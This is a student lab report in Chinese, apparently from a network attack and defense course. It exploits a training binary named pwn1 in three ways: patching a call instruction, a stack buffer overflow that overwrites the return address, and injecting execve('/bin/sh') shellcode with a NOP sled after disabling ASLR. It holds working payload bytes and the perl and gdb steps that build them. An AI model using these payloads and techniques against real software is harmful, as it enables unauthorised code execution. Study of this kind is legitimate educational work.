当前位置: 首页 > news >正文

20253915 2024-2025-2 《网络攻防实践》实践9报告 -

1.实践内容

1.1 手工修改可执行文件跳转至 getShell

  • 使用 objdump 反汇编定位目标函数地址与 call 指令位置。
  • 通过 xxd 将二进制转换为十六进制,修改机器码中的相对偏移(如将 d7 ff 改为 c3 ff),再转换回原格式。
  • 理解 call 指令的机器码格式及偏移量计算方法(目标地址 – 当前指令下一条地址)。

1.2 利用栈溢出覆盖返回地址触发 getShell

  • 分析函数栈帧:缓冲区(ebp-0x1c)与返回地址(ebp+4)之间的偏移(本例为 32 字节)。
  • gdb 输入特征字符串验证偏移量(观察 EIP 被覆盖的值)。
  • 构造 payload:填充 32 字节 + getShell 地址(小端序),通过 (cat payload; cat) | ./pwn 注入并获得 shell。

1.3 注入自定义 shellcode 并执行

  • 关闭 ASLR(echo 0 > /proc/sys/kernel/randomize_va_space)并用 execstack -s 设置栈可执行。
  • 编写或生成 execve("/bin/sh") 的 shellcode,并在其前添加 NOP sled 提高命中率。
  • 使用 gdb attach 调试,在 ret 断点处查看栈顶指针 esp,定位 shellcode 在栈中的实际起始地址。
  • 最终 payload 结构:32 字节填充 + 返回地址(指向 NOP sled 或 shellcode 起始)+ NOP sled + shellcode。

2.实践过程

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:

2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

① 根据作业要求,把主机或者是文件改为跟本人相关的数据,输入命令hostname fxf修改虚拟机主机名为fxf:
image
② 在将主机名修改为 fxf 之后,执行 sudo su 时系统无法解析主机名 fxf,导致 sudo 报错。同时出现 audit plugin 初始化错误,通常是因为 /etc/hosts 文件中缺少新主机名的映射
修复主机名解析

在 /etc/hosts 文件中添加 fxf 的解析记录:
echo "127.0.0.1    localhost fxf" >> /etc/hosts
echo "::1          localhost fxf" >> /etc/hosts
运行以下命令检查 /etc/sudoers 是否有语法错误:
visudo -c
重新加载 sudo 配置
sudo -k          # 清除缓存的凭证
sudo su          # 重新测试

image
修改 /etc/hostname 文件,确保重启后主机名依然为 fxf
echo "fxf" > /etc/hostname
image
③ 打开学习通的文件拉入kali中,修改pwn1文件名为pwn1_20253915,并输入命令objdump -d pwn1_20253915 | more查看其信息
image
④ 此时的main函数调用foo函数(8048491)
image
⑤ 假如想要调用getshell函数,需将其修改为804847d,输入命令vim pwn1_20253915对该文件进行编辑
image
⑥ 输了入命令:%!xxd,把上面的数据格式改为16进制
image
⑦ 找到上述函数调用位置如下:
image
⑧ 将上面的 d7ff 改为 c3ff
image
⑨ 再去输入命令:%!xxd -r,转换成为原来的格式,保存并退出
image
操作时误触了ctrl+Z导致进程挂起
image
查看当前所有挂起的作业(jobs)、使用 fg 命令(foreground)将最近挂起的作业恢复到前台:进入 vim 后,按以下键正常保存并退出:
保存并退出:按 Esc 确保退出插入模式,然后输入 :wq 并回车。
不保存强制退出::q! 并回车。
⑩ 验证一下,再次输入命令objdump -d pwn1_20253915 | more查看其信息
image
⑪ 对已修改文件运行,成功执行了getshell,其获取系统权限
./pwn1_20253915
image

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

① 安装gdb,使用sudo apt updatesudo apt install gdb命令安装gdb
image
② 输入gdb,检查gdb是否安装成功。
image
注意:先要还原原文件
③ 命令行输入命令objdump -d pwn20253915 | more查看函数的详细信息
缓冲区的起始地址是 ebp - 0x1c
返回地址的地址是 ebp + 4
两者之间的字节数差就是:偏移量 = (ebp + 4) - (ebp - 0x1c) = 0x20 = 32字节
image
④ 使用gdb工具调试程序。再输入r运行。当输入 1111111122222222333333334444444455555555 时可以看到eip的值为0x35353535
gdb pwn20253915
image
⑤ 输入字符串 1111111122222222333333334444444412345678,那 1234这四个数最终会覆盖到堆栈上的返回地址。因此只要把这四个字符替换为getShell的内存地址,程序就会运行getShell。
image
⑥ 前面已经确定getShell地址:0x0804847d,因此要输入11111111222222223333333344444444\x7d\x84\x04\x08。将要写入的字符串存到20253915fxf_input文件中。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20253915fxf_input
xxd 20253915fxf_input

image
⑦ 将20253915fxf_input中的内容注入到pwn20253915中。输入常见指令测试是否拿到shell,成功!
(cat 20253915fxf_input; cat) | ./pwn20253915
image

2.3 注入一个自己制作的shellcode并运行这段shellcode。

实验的核心思路是将 Shellcode 作为攻击载荷的一部分,注入到存在漏洞的程序中。程序由于缓冲区溢出漏洞,其返回地址会被我们覆盖,从而跳转到栈上的 Shellcode 并执行
① 安装工具execstack_0.0.20131005-1.1_amd64.deb,先下载再解压。

wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

image
② 设置pwn20252804程序堆栈可执行,并进一步查询是否设置成功。

execstack -s pwn20253915
execstack -q pwn20253915

image
③ 查看地址随机化的状态,需要关闭地址随机化。输出为0代表已关闭

more /proc/sys/kernel/randomize_va_space
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

image
④ 使用输出重定向将perl生成的字符串存储到input_20253915文件中:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20253915
image
⑤ 文件payload完成初始注入(触发漏洞),终端stdin接管后续输入(维持交互式会话)。再开一个终端2查看pwn20253915进程号为525631

#终端1
(cat input_20253915;cat) | ./pwn20253915
#终端2
ps -ef | grep pwn20253915

image
⑥ 再开一个终端3对pwn20253915文件进行gdb调试。在ret处设置断点,ret的位置是0x080484ae。

gdb pwn20253915
attach 525631
disassemble foo
break *0x080484ae

image
⑦ 终端1((cat input_20253915;cat) | ./pwn20253915)按回车后,再终端3输入c继续运行。查看栈顶指针所在的位置为0xffffd11c,0x01020304为返回地址的位置。shellcode的地址为栈顶指针的地址 + 4 = 0xffffd120

info r esp
x/16x 0xffffd11c

image
⑧ 退出gbd调试,重新构造 input_20253915文件。并输入常见指令测试是否拿到shell,成功!
perl -e 'print "A" x 32;print "**\x20\xd1\xff\xff**\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20253915

(cat input_20253915;cat) | ./pwn20253915
image

3.学习中遇到的问题及解决

  • 问题1:改主机名失败
  • 问题1解决方案:/etc/hosts 文件中缺少新主机名的映射
  • 问题2:使用 vim 编辑二进制文件时误触 Ctrl+Z 导致进程挂起
  • 问题2解决方案:输入 jobs 查看挂起任务。使用 fg 将 vim 恢复到前台。
  • 问题3:构造 shellcode 注入时,gdb attach 后找不到 shellcode 实际地址
  • 问题3解决方案:在 gdb 中先在 foo 的 ret 指令处设置断点(地址 0x080484ae)。终端1按回车触发断点,gdb 中执行 c 继续。使用 info r esp 查看栈顶指针,再用 x/16x $esp 查看栈内容,找到 shellcode 中的标志字节(如 0x01020304 或 \x90\x90)。根据栈布局,shellcode 实际起始地址 = esp + 4(因为返回地址占 4 字节)。

4.实践总结

本次实践通过对存在栈溢出漏洞的 pwn1 程序进行三种不同层次的攻击(手工修改机器码跳转至隐藏函数、利用缓冲区溢出覆盖返回地址执行已有代码、注入自定义 shellcode 并获得交互式 shell),深入理解了函数调用栈布局、指令机器码与反汇编、NOP 滑板、地址随机化关闭及栈可执行权限设置等核心概念,熟练掌握了 objdumpgdbxxdperlexecstack 等工具的使用方法,并成功解决了主机名解析、偏移量定位、shellcode 地址调试等一系列实际问题,为后续更高级的漏洞利用技术奠定了坚实的实践基础。

http://www.jsqmd.com/news/764923/

相关文章:

  • 2026雅思线上一对一哪家正规?零基础提分靠谱机构推荐与避坑指南 - 品牌2025
  • DeepSeek-671B大模型监督式微调(SFT)实战指南:从原理到部署
  • TargetMol信号通路——PEG300(Cat. No. T7022, CAS. 25322-68-3),常用的体内给药溶剂 - 陶术生物
  • 2026雅思一对一线上辅导选课攻略:拒绝踩坑,精准提分 - 品牌2025
  • 别再手动合并了!用DevExpress GridView实现多条件单元格合并(附完整C#代码)
  • 不同雨课堂版本,更新了新版本,老版本可能无法支持安装了
  • 初次体验 Taotoken 控制台的功能布局与核心操作指引
  • 3分钟搞定AI模型部署!Sakura启动器GUI:零配置本地AI部署终极指南
  • 2026年重庆除甲醛市场大揭秘:哪家公司才是专业之选? - 速递信息
  • 闲置的瑞祥白金卡怎么回收,余额1分钟变现攻略 - 淘淘收小程序
  • 2026年企业AI Agent落地实战指南:从选型到上线的完整路径
  • 2026年4月鹅卵石滤料供应商推荐,白色砾石/地铺鹅卵石/石英砂/水处理石英砂/环保石英砂,鹅卵石滤料公司怎么选择 - 品牌推荐师
  • 别只当它是Word!用WPS Office 2019 for Linux搞定公文、合同与长文档排版的完整指南
  • 微信立减金怎么卖?3种回收方式轻松变现不踩坑 - 京顺回收
  • 别再折腾VMware Tools了!Ubuntu 22.04/20.04一键搞定open-vm-tools,实现无缝复制粘贴
  • 用Three.js和Cannon-es搞个物理小游戏:从零到上线的完整实战记录
  • 突破传统考试模式:学之思开源系统如何重塑在线教育评估体验
  • 告别CNN的‘脆弱’:用PyTorch手把手实现一个能理解‘空间关系’的胶囊网络
  • 2026 年深圳租车厂家口碑推荐榜:深圳汽车租赁、深圳本地租车、深圳商务租车、深圳会议租车、深圳商务车出租、深圳展会租车、深圳机场接送厂家选择指南 - 海棠依旧大
  • 椰子加工生产线实力厂家|源头直供优选上海成洵实业 - 品牌推荐大师
  • es高可用安装
  • 2026年自流井区全案整装与智能家居装修深度横评:自贡业主避坑指南与官方联系方式 - 优质企业观察收录
  • 使用 OpenClaw 配置 Taotoken 作为其 Agent 工作流的模型供应商
  • 如何用GetQzonehistory完整备份你的QQ空间记忆数据
  • 通过 curl 命令直接测试 Taotoken 的 API 连通性与模型响应
  • 终极指南:如何在MacOS上快速解决OBS-NDI插件加载问题
  • 在Windows上5分钟搞定SNANDer编译:用Cygwin为CH347定制你的Flash烧录工具
  • 单元5 数据库技术
  • 深圳全居邦防水工程:宝安区外墙防水哪家好 - LYL仔仔
  • 通过Python快速接入Taotoken体验多模型聊天补全功能